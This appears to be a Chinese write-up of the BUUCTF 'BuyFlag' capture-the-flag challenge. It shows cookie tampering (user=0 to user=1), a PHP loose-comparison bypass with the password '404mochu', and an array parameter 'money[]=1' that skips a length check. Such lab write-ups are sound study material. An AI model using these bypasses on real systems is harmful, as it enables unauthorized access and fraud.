题目地址:https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]BuyFlag

BUUCTF:[极客大挑战 2019]BuyFlag_php


BUUCTF:[极客大挑战 2019]BuyFlag_php_02


源代码中发现注释

BUUCTF:[极客大挑战 2019]BuyFlag_PHP_03

BUUCTF:[极客大挑战 2019]BuyFlag_PHP_04


cookie中发现user=0,当修改user=1时页面发生变化

BUUCTF:[极客大挑战 2019]BuyFlag_php_05

if (isset($_POST['password'])) {
	$password = $_POST['password'];
	if (is_numeric($password)) {
		echo "password can't be number</br>";
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}
}

php弱类型比较

PS C:\Users\Administrator> php -r "var_dump('404'==404);"
bool(true)
PS C:\Users\Administrator> php -r "var_dump(is_numeric('404'));"
bool(true)
PS C:\Users\Administrator> php -r "var_dump(is_numeric('404mochu'));"
bool(false)
PS C:\Users\Administrator> php -r "var_dump(404 == '404mochu');"
bool(true)

BUUCTF:[极客大挑战 2019]BuyFlag_弱类型_06


money值太长?这里应该是对字符进行了判断,当前PHP版本为PHP/5.3.3,对字符处理的函数在PHP漏洞中非常常见,使用数组进行传参发现即可跳过判断

money[]=1&password=404mochu

BUUCTF:[极客大挑战 2019]BuyFlag_PHP_07